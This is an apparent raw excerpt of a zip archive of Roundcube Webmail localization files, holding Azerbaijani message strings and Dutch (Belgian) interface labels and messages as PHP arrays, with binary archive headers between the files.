$messages['nogroupassignmentschanged'] = 'Qruplar arası bölgü dəyişməyib.';
$messages['importwait'] = 'İdxal gedir, lütfən gözləyin...';
$messages['importformaterror'] = 'İdxal xətası. Yüklənilən fayl naməlum məlumat formatına malikdir.';
$messages['importconfirm'] = '<b>$inserted ünvanlar müvəffəqiyyətlə idxal edildi, mövcud $skipped buraxılıb</b>:<p><em>$names</em></p>';
$messages['importconfirmskipped'] = '<b>Buraxılmış $skipped mövcud daxillər</b>';
$messages['importmessagesuccess'] = '$nr məktublar uğurla idxal edildi';
$messages['importmessageerror'] = 'İdxal alınmadı! Yüklənilmiş fayl düzgün məktub və ya poçt faylı deyil';
$messages['opnotpermitted'] = 'Əməliyyat qadağandır!';
$messages['httpreceivedencrypterror'] = 'Serverdə qaçıımaz xəta baş verib. Təcili öz inzibatçınız ilə əlaqə qurun. <b>Sizin məktub göndərilməyə bilər.</b>';
$messages['smtpconnerror'] = 'SMTP Error ($code): Serverlə bağlantı alınmadı';
$messages['smtpautherror'] = 'SMTP Error ($code): İdentifikasiya xətası';
$messages['smtpfromerror'] = 'SMTP Error ($code): Göndərəni səlavə etmək mümkün deyil - "$from" ($msg)';
$messages['smtptoerror'] = 'SMTP Error ($code): Qəbul edəni əlavə etmək mümkün deyil - "$to" ($msg)';
$messages['smtprecipientserror'] = 'SMTP Error ($code): Qəbul edənlərin siyahısını emal etmək mümkün deyil';
$messages['smtperror'] = 'SMTP Error ($code): $msg';
$messages['toomanyrecipients'] = 'Qəbul edənlər həddindən artıq çoxdur. Lütfən, $max qədər azaldın.';
$messages['maxgroupmembersreached'] = 'Qrupun ölçüsü imkan verilən maksimumdan artıqdır - $max';
$messages['internalerror'] = 'Daxili xəta. Lütfən bir daha cəhd edin.';
$messages['contactdelerror'] = 'Kontak(lar)ı silmək alınmadı';
$messages['contactdeleted'] = 'Kontak(lar) uğurla silindi';
$messages['contactrestoreerror'] = 'Silinmiş kontakt(lar)ın bərpası alınmadı';
$messages['contactrestored'] = 'Kontakt(lar) bərpa edildi.';
$messages['groupdeleted'] = 'Qrup silindi';
$messages['grouprenamed'] = 'Qrupun adı dəyişdirildi';
$messages['groupcreated'] = 'Qrup yaradıldı';
$messages['savedsearchdeleted'] = 'Saxlanılmış sorğu silindi.';
$messages['savedsearchdeleteerror'] = 'Saxlanılmış sorğunu silmək alınmadı.';
$messages['savedsearchcreated'] = 'Saxlanılmış sorğu yaradıldı.';
$messages['savedsearchcreateerror'] = 'Saxlanılmış sorğunu yaratmaq alınmadı';
$messages['messagedeleted'] = 'Məktub(lar) uğurla silindi';
$messages['messagemoved'] = 'Məktub(lar) uğurla köçürüldü';
$messages['messagecopied'] = 'Məktub(lar) uğurla kopyalandı';
$messages['messagemarked'] = 'Məktub(lar) uğurla işarələndi';
$messages['autocompletechars'] = 'Avtokomplektasiya üçün $min işarə daxil edin';
$messages['autocompletemore'] = 'Axtarış çox nəticə çıxardı. Lütfən, dəqiqləşdirin.';
$messages['namecannotbeempty'] = 'Ad boş ola bilməz';
$messages['nametoolong'] = 'Ad çox uzundur';
$messages['folderupdated'] = 'Qovluq yeniləndi';
$messages['foldercreated'] = 'Qovluq yaradıldı';
$messages['invalidimageformat'] = 'Şəkil formatı düzgün deyil';
$messages['mispellingsfound'] = 'Məktubda orfoqrafik səhvlər tapılıb';
$messages['parentnotwritable'] = 'Qovluğu seçilmiş ana qovluğa köçürmək/yaratmaq alınmır. Giriş hüququ yoxdur.';
$messages['messagetoobig'] = 'Məktubun bir hissəsi emal üçün böyükdür.';
$messages['noscriptwarning'] = 'Xəbərdarlıq: Bu vebmeyl xidməti Javascript tələb edir! Funksiyanı istifadə etmək üçün lütfən, brauzerinizin ayarlarında Javascript-i yandırın.';
PK
h�\{�T�qSqS%program/localization/nl_BE/labels.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail client                     |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/labels/
*/


$labels['welcome'] = 'Welkom bij $product';
$labels['username'] = 'Gebruikersnaam';
$labels['password'] = 'Wachtwoord';
$labels['server'] = 'Server';
$labels['login'] = 'Aanmelden';
$labels['logout'] = 'Afmelden';
$labels['mail'] = 'Berichten';
$labels['settings'] = 'Instellingen';
$labels['addressbook'] = 'Contactpersonen';
$labels['inbox'] = 'Postvak IN';
$labels['drafts'] = 'Concepten';
$labels['sent'] = 'Verzonden berichten';
$labels['trash'] = 'Prullenbak';
$labels['junk'] = 'Spam';
$labels['subject'] = 'Onderwerp';
$labels['from'] = 'Van';
$labels['sender'] = 'Afzender';
$labels['to'] = 'Aan';
$labels['cc'] = 'Cc';
$labels['bcc'] = 'Bcc';
$labels['replyto'] = 'Antwoorden aan';
$labels['followupto'] = 'Followup aan';
$labels['date'] = 'Datum';
$labels['size'] = 'Grootte';
$labels['priority'] = 'Prioriteit';
$labels['organization'] = 'Organisatie';
$labels['readstatus'] = 'Gelezen?';
$labels['listoptions'] = 'Lijstopties...';
$labels['mailboxlist'] = 'Mappen';
$labels['messagesfromto'] = 'Berichten $from - $to van $count';
$labels['threadsfromto'] = 'Conversaties $from - $to van $count';
$labels['messagenrof'] = 'Bericht $nr van $count';
$labels['fromtoshort'] = '$from - $to van $count';
$labels['copy'] = 'Kopieer';
$labels['move'] = 'Verplaats';
$labels['moveto'] = 'Verplaats naar...';
$labels['download'] = 'Downloaden';
$labels['showattachment'] = 'Weergeven';
$labels['showanyway'] = 'Toch weergeven';
$labels['filename'] = 'Bestandsnaam';
$labels['filesize'] = 'Bestandsgrootte';
$labels['addtoaddressbook'] = 'Voeg toe aan lijst met contactpersonen';
$labels['sun'] = 'Zo';
$labels['mon'] = 'Ma';
$labels['tue'] = 'Di';
$labels['wed'] = 'Wo';
$labels['thu'] = 'Do';
$labels['fri'] = 'Vr';
$labels['sat'] = 'Za';
$labels['sunday'] = 'Zondag';
$labels['monday'] = 'Maandag';
$labels['tuesday'] = 'Dinsdag';
$labels['wednesday'] = 'Woensdag';
$labels['thursday'] = 'Donderdag';
$labels['friday'] = 'Vrijdag';
$labels['saturday'] = 'Zaterdag';
$labels['jan'] = 'Jan';
$labels['feb'] = 'Feb';
$labels['mar'] = 'Mrt';
$labels['apr'] = 'Apr';
$labels['may'] = 'Mei';
$labels['jun'] = 'Jun';
$labels['jul'] = 'Jul';
$labels['aug'] = 'Aug';
$labels['sep'] = 'Sep';
$labels['oct'] = 'Okt';
$labels['nov'] = 'Nov';
$labels['dec'] = 'Dec';
$labels['longjan'] = 'Januari';
$labels['longfeb'] = 'Februari';
$labels['longmar'] = 'Maart';
$labels['longapr'] = 'April';
$labels['longmay'] = 'Mei';
$labels['longjun'] = 'Juni';
$labels['longjul'] = 'Juli';
$labels['longaug'] = 'Augustus';
$labels['longsep'] = 'September';
$labels['longoct'] = 'Oktober';
$labels['longnov'] = 'November';
$labels['longdec'] = 'December';
$labels['today'] = 'Vandaag';
$labels['refresh'] = 'Vernieuwen';
$labels['checkmail'] = 'Controleer op nieuwe berichten';
$labels['compose'] = 'Nieuw bericht opstellen';
$labels['writenewmessage'] = 'Nieuw bericht';
$labels['reply'] = 'Beantwoorden';
$labels['replytomessage'] = 'Beantwoorden aan afzender';
$labels['replytoallmessage'] = 'Antwoorden naar lijst of naar afzender en alle ontvangers';
$labels['replyall'] = 'Allen beantwoorden';
$labels['replylist'] = 'Lijst beantwoorden';
$labels['forward'] = 'Doorsturen';
$labels['forwardinline'] = 'Voorwaarts in lijn';
$labels['forwardattachment'] = 'Doorsturen als bijlage';
$labels['forwardmessage'] = 'Bericht doorsturen';
$labels['deletemessage'] = 'Dit bericht verwijderen';
$labels['movemessagetotrash'] = 'Verplaats bericht naar verwijderde items';
$labels['printmessage'] = 'Afdrukken';
$labels['previousmessage'] = 'Vorig bericht';
$labels['firstmessage'] = 'Eerste bericht';
$labels['nextmessage'] = 'Volgende bericht';
$labels['lastmessage'] = 'Laatste bericht';
$labels['backtolist'] = 'Terug naar berichtenlijst';
$labels['viewsource'] = 'Broncode bericht weergeven';
$labels['mark'] = 'Markeren';
$labels['markmessages'] = 'Markeer berichten';
$labels['markread'] = 'Als gelezen';
$labels['markunread'] = 'Als ongelezen';
$labels['markflagged'] = 'Selecteren';
$labels['markunflagged'] = 'Niet Selecteren';
$labels['moreactions'] = 'Meer acties...';
$labels['more'] = 'Meer';
$labels['back'] = 'Terug';
$labels['options'] = 'Opties';
$labels['actions'] = 'Acties';
$labels['select'] = 'Selecteren';
$labels['all'] = 'Alle';
$labels['none'] = 'Geen';
$labels['currpage'] = 'Huidige pagina';
$labels['isread'] = 'Lees';
$labels['unread'] = 'Ongelezen';
$labels['flagged'] = 'Geselecteerd';
$labels['unanswered'] = 'Onbeantwoord';
$labels['deleted'] = 'Verwijderd';
$labels['undeleted'] = 'Niet verwijderd';
$labels['invert'] = 'Selectie omkeren';
$labels['filter'] = 'Filter';
$labels['list'] = 'Lijst';
$labels['threads'] = 'Conversaties';
$labels['expand-all'] = 'Alles uitklappen';
$labels['expand-unread'] = 'Ongelezen uitklappen';
$labels['collapse-all'] = 'Alles inklappen';
$labels['threaded'] = 'Conversaties';
$labels['autoexpand_threads'] = 'Klap alle conversaties uit';
$labels['do_expand'] = 'alle conversaties';
$labels['expand_only_unread'] = 'alleen met ongelezen berichten';
$labels['fromto'] = 'Afzender/Ontvanger';
$labels['flag'] = 'Markeer';
$labels['attachment'] = 'Bijlage';
$labels['nonesort'] = 'Geen';
$labels['sentdate'] = 'Verzenddatum';
$labels['arrival'] = 'Ontvangstdatum';
$labels['asc'] = 'oplopend';
$labels['desc'] = 'aflopend';
$labels['listcolumns'] = 'Kolommen';
$labels['listsorting'] = 'Sorteerkolom';
$labels['listorder'] = 'Sorteervolgorde';
$labels['listmode'] = 'Lijstweergave mode';
$labels['layoutlist'] = 'Lijst';
$labels['folderactions'] = 'Acties voor map...';
$labels['compact'] = 'Comprimeren';
$labels['empty'] = 'Legen';
$labels['quota'] = 'Gebruikte schijfruimte';
$labels['unknown'] = 'onbekend';
$labels['unlimited'] = 'onbeperkt';
$labels['quotastorage'] = 'Schijfruimte';
$labels['quicksearch'] = 'Snelzoeken';
$labels['resetsearch'] = 'Zoek opnieuw';
$labels['searchmod'] = 'Zoekopties';
$labels['msgtext'] = 'Volledig bericht';
$labels['namex'] = 'Naam';
$labels['searchscope'] = 'Bereik';
$labels['currentfolder'] = 'Huidige map';
$labels['searchinterval-1W'] = 'ouder dan een week';
$labels['searchinterval-1M'] = 'ouder dan een maand';
$labels['searchinterval-1Y'] = 'ouder dan een jaar';
$labels['searchinterval1W'] = 'jonger dan een week';
$labels['searchinterval1M'] = 'jonger dan een maand';
$labels['searchinterval1Y'] = 'jonger dan een jaar';
$labels['openinextwin'] = 'Openen in een nieuw venster';
$labels['emlsave'] = 'Opslaan (.eml)';
$labels['editasnew'] = 'Als nieuw bewerken';
$labels['send'] = 'Verzenden';
$labels['sendmessage'] = 'Bericht verzenden';
$labels['savemessage'] = 'Bewaar als concept';
$labels['addattachment'] = 'Bestand toevoegen als bijlage';
$labels['charset'] = 'Karakterset';
$labels['editortype'] = 'Opmaak';
$labels['returnreceipt'] = 'Ontvangstbevestiging';
$labels['dsn'] = 'Delivery Status Notification';
$labels['mailreplyintro'] = 'Op $date, schreef $sender:';
$labels['originalmessage'] = 'Orgineel bericht';
$labels['selectimage'] = 'Selecteer beeld';
$labels['addimage'] = 'Voeg beeld toe';
$labels['selectmedia'] = 'Selecteer film';
$labels['addmedia'] = 'Voeg film toe';
$labels['keylength'] = 'Bits';
$labels['keyexpired'] = 'Verlopen';
$labels['insert'] = 'Voeg in';
$labels['recipient'] = 'Ontvanger';
$labels['editidents'] = 'Bewerk identiteiten';
$labels['spellcheck'] = 'Spellen';
$labels['checkspelling'] = 'Controleer spelling';
$labels['resumeediting'] = 'Hervat bewerken';
$labels['revertto'] = 'Ongedaan maken';
$labels['ignore'] = 'Negeer';
$labels['responses'] = 'Antwoorden';
$labels['insertresponse'] = 'Antwoord invoegen';
$labels['manageresponses'] = 'Antwoorden beheren';
$labels['newresponse'] = 'Nieuw antwoord';
$labels['addresponse'] = 'Antwoord invoegen';
$labels['editresponse'] = 'Antwoord bewerken';
$labels['editresponses'] = 'Antwoorden bewerken';
$labels['responsename'] = 'Naam';
$labels['attach'] = 'Bijvoegen';
$labels['attachments'] = 'Bijlagen';
$labels['upload'] = 'Uploaden';
$labels['close'] = 'Sluiten';
$labels['messageoptions'] = 'Opties voor bericht...';
$labels['low'] = 'Laag';
$labels['lowest'] = 'Laagste';
$labels['normal'] = 'Normaal';
$labels['high'] = 'Hoog';
$labels['highest'] = 'Hoogste';
$labels['nosubject'] = '(geen onderwerp)';
$labels['showimages'] = 'Toon afbeeldingen';
$labels['alwaysshow'] = 'Afbeeldingen van $sender altijd tonen';
$labels['isdraft'] = 'Dit is een concept bericht.';
$labels['andnmore'] = '$nr meer...';
$labels['togglemoreheaders'] = 'Toon meer berichthoofden';
$labels['togglefullheaders'] = 'Schakelen tussen naakte berichtkoppen';
$labels['htmltoggle'] = 'HTML';
$labels['plaintoggle'] = 'Platte tekst';
$labels['savesentmessagein'] = 'Bewaar verzonden bericht in';
$labels['dontsave'] = 'niet bewaren';
$labels['maxuploadsize'] = 'Maximum toegestane bestandsgrootte is $size';
$labels['addcc'] = 'Cc toevoegen';
$labels['addbcc'] = 'Bcc toevoegen';
$labels['addreplyto'] = 'Antwoorden aan toevoegen';
$labels['addfollowupto'] = 'Followup aan toevoegen';
$labels['mdnrequest'] = 'De afzender heeft een ontvangstbevestiging gevraagd. Wilt u deze versturen?';
$labels['receiptread'] = 'Ontvangstbevestiging (gelezen)';
$labels['yourmessage'] = 'Dir is een onvangstbevestiging voor uw bericht';
$labels['receiptnote'] = 'Opmerking: deze ontvangstbevestiging houdt enkel in dat het bericht was weergegeven bij de ontvanger. Er is geen garantie dat de ontvanger het bericht daadwerkelijk heeft gelezen en/of begrepen.';
$labels['name'] = 'Naam';
$labels['firstname'] = 'Voornaam';
$labels['surname'] = 'Achternaam';
$labels['middlename'] = 'Middelnaam';
$labels['nameprefix'] = 'Prefix';
$labels['namesuffix'] = 'Suffix';
$labels['nickname'] = 'Roepnaam';
$labels['jobtitle'] = 'Job titel';
$labels['department'] = 'Afdeling';
$labels['gender'] = 'Geslacht';
$labels['maidenname'] = 'Meisjesnaam';
$labels['email'] = 'E-mailadres';
$labels['phone'] = 'Telefoonnummer';
$labels['address'] = 'Adres';
$labels['street'] = 'Straat';
$labels['locality'] = 'Stad';
$labels['zipcode'] = 'Postcode';
$labels['region'] = 'Staat/Provincie';
$labels['country'] = 'Land';
$labels['birthday'] = 'Verjaardag';
$labels['anniversary'] = 'Verjaardag';
$labels['website'] = 'Website';
$labels['instantmessenger'] = 'IM';
$labels['notes'] = 'Opmerkingen';
$labels['male'] = 'man';
$labels['female'] = 'vrouw';
$labels['manager'] = 'Manager';
$labels['assistant'] = 'Assistent';
$labels['spouse'] = 'Echtgenoot';
$labels['allfields'] = 'Alle velden';
$labels['search'] = 'Zoek';
$labels['searchresult'] = 'Zoekresultaat';
$labels['advsearch'] = 'Uitgebreid zoeken';
$labels['advanced'] = 'Geavanceerd';
$labels['other'] = 'Anders';
$labels['printcontact'] = 'Contactpersoon afdrukken';
$labels['typehome'] = 'Thuis';
$labels['typework'] = 'Werk';
$labels['typeother'] = 'Anders';
$labels['typemobile'] = 'Mobiel';
$labels['typemain'] = 'Hoofd';
$labels['typehomefax'] = 'Thuis fax';
$labels['typeworkfax'] = 'Werk fax';
$labels['typecar'] = 'Auto';
$labels['typepager'] = 'Pager';
$labels['typevideo'] = 'Video';
$labels['typeassistant'] = 'Assistent';
$labels['typehomepage'] = 'Home page';
$labels['typeblog'] = 'Blog';
$labels['typeprofile'] = 'Profiel';
$labels['addfield'] = 'Veld toevoegen...';
$labels['addcontact'] = 'Contactpersoon toevoegen';
$labels['editcontact'] = 'Contactpersoon bewerken';
$labels['contacts'] = 'Contactpersonen';
$labels['contactproperties'] = 'Eigenschappen van contactpersoon';
$labels['contactnameandorg'] = 'Naam en organisatie';
$labels['personalinfo'] = 'Persoonlijke informatie';
$labels['contactphoto'] = 'Contact foto';
$labels['edit'] = 'Bewerken';
$labels['cancel'] = 'Annuleren';
$labels['save'] = 'Opslaan';
$labels['delete'] = 'Verwijderen';
$labels['rename'] = 'Hernoemen';
$labels['addphoto'] = 'Toevoegen';
$labels['replacephoto'] = 'Vervangen';
$labels['uploadphoto'] = 'Foto  uploaden';
$labels['newcontact'] = 'Nieuw contact';
$labels['deletecontact'] = 'Verwijder geselecteerde contactpersonen';
$labels['composeto'] = 'Mail sturen aan';
$labels['contactsfromto'] = 'Contactpersonen $from - $to van $count';
$labels['print'] = 'Afdrukken';
$labels['export'] = 'Exporteren';
$labels['exportall'] = 'Exporteer alle';
$labels['exportsel'] = 'Exporteer geslecteerden';
$labels['exportvcards'] = 'Exporteer contactpersonen in vCard formaat';
$labels['newgroup'] = 'Maak een nieuwe groep';
$labels['addgroup'] = 'Groep toevoegen';
$labels['grouprename'] = 'Groep hernoemen';
$labels['groupdelete'] = 'Groep verwijderen';
$labels['groupremoveselected'] = 'Geselecteerde contacten uit de groep verwijderen';
$labels['previouspage'] = 'Toon vorige';
$labels['firstpage'] = 'Toon eerste';
$labels['nextpage'] = 'Toon volgende';
$labels['lastpage'] = 'Toon laatste';
$labels['group'] = 'Groep';
$labels['groups'] = 'Groepen';
$labels['personaladrbook'] = 'Personlijke adressen';
$labels['searchsave'] = 'Zoekopdracht opslaan';
$labels['searchdelete'] = 'Zoekopdracht wissen';
$labels['import'] = 'Importeer';
$labels['importcontacts'] = 'Contactpersonen importeren';
$labels['importfromfile'] = 'Importeren uit bestand';
$labels['importtarget'] = 'Contacten toevoegen aan';
$labels['importreplace'] = 'Vervang het complete adresboek';
$labels['importdesc'] = 'U kunt contacten uploaden vanuit een bestaand adresboek.<br/>We ondersteunen momenteel het importeren van adressen uit <a href="https://en.wikipedia.org/wiki/VCard">vCard</a> of CSV (door komma\'s gescheiden) gegevensformaat.';
$labels['done'] = 'Klaar';
$labels['settingsfor'] = 'Instellingen voor';
$labels['about'] = 'Over';
$labels['preferences'] = 'Voorkeuren';
$labels['userpreferences'] = 'Gebruikersvoorkeuren';
$labels['editpreferences'] = 'Gebruikersvoorkeuren bewerken';
$labels['identities'] = 'Identiteiten';
$labels['manageidentities'] = 'Identiteiten beheren';
$labels['newidentity'] = 'Nieuwe identiteit maken';
$labels['preferhtml'] = 'Gebruik HTML-opmaak';
$labels['defaultcharset'] = 'Standaard karakterset';
$labels['htmlmessage'] = 'HTML-bericht';
$labels['dateformat'] = 'Datum formaat';
$labels['timeformat'] = 'Tijdformaat';
$labels['prettydate'] = 'Uitgebreide datumweergave';
$labels['setdefault'] = 'Als standaard instellen';
$labels['autodetect'] = 'Automatisch';
$labels['language'] = 'Taal';
$labels['timezone'] = 'Tijdzone';
$labels['pagesize'] = 'Berichten per pagina';
$labels['signature'] = 'Handtekening';
$labels['dstactive'] = 'Zomer/wintertijd';
$labels['showinextwin'] = 'Bericht openen in een nieuw venster';
$labels['composeextwin'] = 'Samenstellen in een nieuw venster';
$labels['htmleditor'] = 'HTML berichten opmaken';
$labels['htmlonreply'] = 'enkel bij beantwoorden van een HTML bericht';
$labels['htmlonreplyandforward'] = 'bij het doorsturen of beantwoorden van een HTML-bericht';
$labels['htmlsignature'] = 'HTML handtekening';
$labels['previewpane'] = 'Toon voorbeeldvenster';
$labels['skin'] = 'Opmaakprofiel';
$labels['logoutclear'] = 'Prullenbak legen bij uitloggen';
$labels['logoutcompact'] = 'Postvak IN opschonen bij uitloggen';
$labels['uisettings'] = 'Gebruikersinterface';
$labels['serversettings'] = 'Serverinstellingen';
$labels['mailboxview'] = 'Opmaak Mailbox';
$labels['mdnrequests'] = 'Ontvangstmeldingen';
$labels['askuser'] = 'vraag de gebruiker';
$labels['autosend'] = 'stuur automatisch';
$labels['autosendknown'] = 'stuur ontvangstbevestiging naar mijn contactpersonen, anders vraag mij';
$labels['autosendknownignore'] = 'stuur ontvangstbevestiging naar mijn contactpersonen, anders negeer';
$labels['ignorerequest'] = 'negeer verzoek';
$labels['readwhendeleted'] = 'Bericht na verwijderen als gelezen markeren';
$labels['flagfordeletion'] = 'Bericht niet verwijderen maar als verwijderd markeren';
$labels['skipdeleted'] = 'Verwijderde berichten niet tonen';
$labels['deletealways'] = 'Verwijder bericht wanneer verplaatsen naar Prullenbak mislukt';
$labels['deletejunk'] = 'Berichten direct verwijderen in Ongewenst';
$labels['showremoteimages'] = 'Geef externe toegevoegde berichten weer';
$labels['fromknownsenders'] = 'Van bekende afzenders';
$labels['always'] = 'altijd';
$labels['showinlineimages'] = 'Toon bijgevoegde afbeeldingen onder het bericht';
$labels['autosavedraft'] = 'Automatisch als concept opslaan';
$labels['everynminutes'] = 'elke $n minuten';
$labels['refreshinterval'] = 'Vernieuwen (controleren op nieuwe berichten, enz.)';
$labels['never'] = 'nooit';
$labels['immediately'] = 'onmiddellijk';
$labels['messagesdisplaying'] = 'Berichten weergave';
$labels['messagescomposition'] = 'Berichten aanmaken';
$labels['mimeparamfolding'] = 'Namen van bijlagen';
$labels['2231folding'] = 'Volledig RFC 2231 (Thunderbird)';
$labels['miscfolding'] = 'RFC 2047/2231 (MS Outlook)';
$labels['2047folding'] = 'Volledig RFC 2047 (andere)';
$labels['force7bit'] = 'Gebruik MIME codering voor 8-bit karakters';
$labels['advancedoptions'] = 'Geavanceerde opties';
$labels['focusonnewmessage'] = 'Focus browserscherm bij nieuw bericht';
$labels['checkallfolders'] = 'Controleer alle mappen op nieuwe berichten';
$labels['displaynext'] = 'Volgend lijst-item weergeven na wissen/verplaatsen';
$labels['defaultfont'] = 'Standaard lettertype van HTML-bericht';
$labels['mainoptions'] = 'Hoofdopties';
$labels['browseroptions'] = 'Browseropties';
$labels['section'] = 'Sectie';
$labels['maintenance'] = 'Onderhoud';
$labels['newmessage'] = 'Nieuw bericht';
$labels['signatureoptions'] = 'Opties voor handtekening';
$labels['whenreplying'] = 'Bij beantwoorden';
$labels['replyempty'] = 'het originele bericht niet vermelden';
$labels['replytopposting'] = 'begin bericht boven het origineel';
$labels['replybottomposting'] = 'begin bericht onder het origineel';
$labels['replyremovesignature'] = 'Verwijder handtekening uit het origneel bij beantwoorden';
$labels['autoaddsignature'] = 'Handtekening automatisch toevoegen';
$labels['newmessageonly'] = 'alleen bij nieuwe berichten';
$labels['replyandforwardonly'] = 'alleen bij beantwoorden en doorsturen';
$labels['insertsignature'] = 'Handtekening invoegen';
$labels['afternseconds'] = 'Na $n seconden';
$labels['reqmdn'] = 'Vraag altijd een ontvangstbevestiging';
$labels['reqdsn'] = 'Vraag altijd een Delivery Status Notification';
$labels['replysamefolder'] = 'Plaats antwoorden in de map van het beantwoorde bericht';
$labels['defaultabook'] = 'Standaard adresboek';
$labels['autocompletesingle'] = 'Alternatieve e-mailadressen in autoaanvulling overslaan';
$labels['listnamedisplay'] = 'Lijst contacten als';
$labels['spellcheckbeforesend'] = 'Controleer de spelling voordat u een bericht verstuurt';
$labels['spellcheckoptions'] = 'Opties voor spellingcontrole';
$labels['spellcheckignoresyms'] = 'Negeer woorden met symbolen';
$labels['spellcheckignorenums'] = 'Negeer woorden met getallen';
$labels['spellcheckignorecaps'] = 'Negeer woorden met allemaal hoofdletters';
$labels['addtodict'] = 'Toevoegen aan woordenboek';
$labels['mailtoprotohandler'] = 'Registreer protocol handler voor mailto: links';
$labels['forwardmode'] = 'Berichten doorsturen';
$labels['inline'] = 'inline';
$labels['allmessages'] = 'alle berichten';
$labels['folder'] = 'Map';
$labels['folders'] = 'Mappen';
$labels['foldername'] = 'Naam';
$labels['subscribed'] = 'Geabonneerd';
$labels['messagecount'] = 'Berichten';
$labels['create'] = 'Aanmaken';
$labels['createfolder'] = 'Nieuwe map aanmaken';
$labels['managefolders'] = 'Mappen beheren';
$labels['specialfolders'] = 'Speciale mappen';
$labels['properties'] = 'Eigenschappen';
$labels['folderproperties'] = 'Eigenschappen van map';
$labels['parentfolder'] = 'Bovenliggende map';
$labels['location'] = 'Locatie';
$labels['info'] = 'Informatie';
$labels['getfoldersize'] = 'Klik voor de grootte van de map';
$labels['changesubscription'] = 'Klik voor abonnement te wijzigen';
$labels['sortby'] = 'Sorteren op';
$labels['sortasc'] = 'Oplopend sorteren';
$labels['sortdesc'] = 'Aflopend sorteren';
$labels['license'] = 'Licentie';
$labels['B'] = 'B';
$labels['KB'] = 'KB';
$labels['MB'] = 'MB';
$labels['GB'] = 'GB';
$labels['unicode'] = 'Unicode';
$labels['english'] = 'Engels';
$labels['westerneuropean'] = 'West-Europees';
$labels['easterneuropean'] = 'Oost-Europees';
$labels['southeasterneuropean'] = 'Zuidoost Europees';
$labels['baltic'] = 'Baltisch';
$labels['cyrillic'] = 'Cyrillisch';
$labels['arabic'] = 'Arabisch';
$labels['greek'] = 'Grieks';
$labels['hebrew'] = 'Hebreeuws';
$labels['turkish'] = 'Turks';
$labels['nordic'] = 'Noord-Germaans';
$labels['thai'] = 'Thais';
$labels['celtic'] = 'Keltisch';
$labels['vietnamese'] = 'Vietnamees';
$labels['japanese'] = 'Japans';
$labels['korean'] = 'Koreaans';
$labels['chinese'] = 'Chinees';
PK
h�\ꆅQ33'program/localization/nl_BE/messages.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail client                     |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/messages/
*/

$messages['errortitle']  = 'Er is een fout opgetreden!';
$messages['loginfailed']  = 'Aanmelden mislukt.';
$messages['cookiesdisabled'] = 'Uw browser accepteert geen cookies.';
$messages['sessionerror'] = 'Sessie is reeds beëindigd of is ongeldig.';
$messages['storageerror'] = 'Kon geen verbinding maken met de IMAP server...';
$messages['servererror'] = 'Server fout!';
$messages['servererrormsg'] = 'Server fout: $msg';
$messages['accountlocked'] = 'Te veel mislukte inlogpogingen. Probeer het later opnieuw.';
$messages['connerror'] = 'Verbindingsfout (Mislukt om de server te bereiken)!';
$messages['dberror'] = 'Database Fout!';
$messages['windowopenerror'] = 'Het popup venster werd geblokkeerd!';
$messages['requesttimedout'] = 'Aanvraag verlopen';
$messages['errorreadonly'] = 'Kon opdracht niet uitvoeren. Map is alleen-lezen.';
$messages['errornoperm'] = 'Kon opdracht niet uitvoeren. Toegang geweigerd.';
$messages['erroroverquota'] = 'Kon opdracht niet uitvoeren. Geen vrije schijfruimte.';
$messages['erroroverquotadelete'] = 'Geen vrije schijfruimte. Gebruik SHIFT+DEL om een bericht te verwijderen.';
$messages['invalidrequest'] = 'Ongeldige aanvraag! Er zijn geen gegevens opgeslagen.';
$messages['invalidhost'] = 'Ongeldige server.';
$messages['nomessagesfound'] = 'Er zijn geen berichten in deze map...';
$messages['mailboxempty'] = 'Mailbox is leeg';
$messages['nomessages'] = 'Geen berichten';
$messages['refreshing'] = 'Bezig met vernieuwen...';
$messages['loading'] = 'Bezig met ophalen gegevens...';
$messages['uploading'] = 'Bezig met uploaden...';
$messages['attaching'] = 'Bestand aan het toevoegen...';
$messages['uploadingmany'] = 'Bestanden worden geüpload...';
$messages['loadingdata'] = 'Bezig met gegevens ophalen...';
$messages['checkingmail'] = 'Controleer op nieuwe berichten...';
$messages['sendingmessage'] = 'Bericht wordt verstuurd...';
$messages['messagesent'] = 'Het bericht is verzonden.';
$messages['savingmessage'] = 'Bericht wordt bewaard...';
$messages['messagesaved'] = 'Bericht bewaard in Concepten.';
$messages['successfullysaved'] = 'Succesvol opgeslagen...';
$messages['savingresponse'] = 'Respons tekst wordt bewaard...';
$messages['deleteresponseconfirm'] = 'Bent u zeker dat u deze respons tekst wilt verwijderen?';
$messages['addedsuccessfully'] = 'Contactpersoon is toegevoegd.';
$messages['contactnameexists'] = 'Er bestaat al een contactpersoon met deze naam.';
$messages['blockedimages'] = 'Om uw privacy te beschermen worden de afbeeldingen in dit bericht niet getoond.';
$messages['encryptedmessage'] = 'Dit bericht is geëncrypteerd en kan niet worden weergegeven, sorry!';
$messages['externalmessagedecryption'] = 'Dit bericht is geëncrypteerd en kan niet worden gedecodeerd met uw browser extensie, sorry!';
$messages['nopubkeyfor'] = 'Geen geldige publieke sleutel gevonden voor $email';
$messages['encryptpubkeysfound'] = 'De volgende publieke sleutels werden gevonden:';
$messages['nocontactsfound'] = 'Geen contactpersonen gevonden.';
$messages['contactnotfound'] = 'De gevraagde contactpersoon was niet gevonden.';
$messages['sendingfailed'] = 'Kon het bericht niet versturen.';
$messages['senttooquickly'] = 'U moet $sec second(en) wachten om het bericht te versturen.';
$messages['errorsavingsent'] = 'Er is een fout opgetreden tijdens het opslaan van het verzonden bericht.';
$messages['errorsaving'] = 'Er is een fout opgetreden tijdens het opslaan.';
$messages['errormoving'] = 'Kon de bericht(en) niet verplaatsen.';
$messages['errorcopying'] = 'Kon de bericht(en) niet kopiëren';
$messages['errordeleting'] = 'Kon de bericht(en) niet verwijderen.';
$messages['errormarking'] = 'Kon de bericht(en) niet markeren.';
$messages['deletecontactconfirm']  = 'Bent u zeker dat u de geselecteerde contactpers(o)on(en) wilt verwijderen?';
